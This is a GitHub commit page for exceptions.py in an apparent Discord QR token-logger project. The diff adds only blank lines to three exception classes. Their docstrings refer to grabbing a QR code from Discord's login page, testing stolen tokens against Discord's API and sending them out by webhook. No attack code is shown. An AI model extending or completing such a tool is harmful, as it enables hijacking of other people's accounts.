Skip to content

Commit

Permalink
Update exceptions.py
Browse files Browse the repository at this point in the history
  • Loading branch information
mouadessalim authored May 6, 2023
1 parent e7a8ddb commit 6518a9d
Showing 1 changed file with 3 additions and 0 deletions.
3 changes: 3 additions & 0 deletions Discord-QR-Token-Logger/exceptions.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,18 +2,21 @@ class QRCodeNotFound(Exception):
"""This exception should be raised if a QR code can not be found
on the Discord login page.
"""

pass


class InvalidToken(Exception):
"""This exception should be raised if a token does not receive
a response status code of 200 when tested against Discord's API.
"""

pass


class WebhookSendFailure(Exception):
"""This exception should be raised if the token webhook fails
to send, for whatever reason.
"""

pass

0 comments on commit 6518a9d

Please sign in to comment.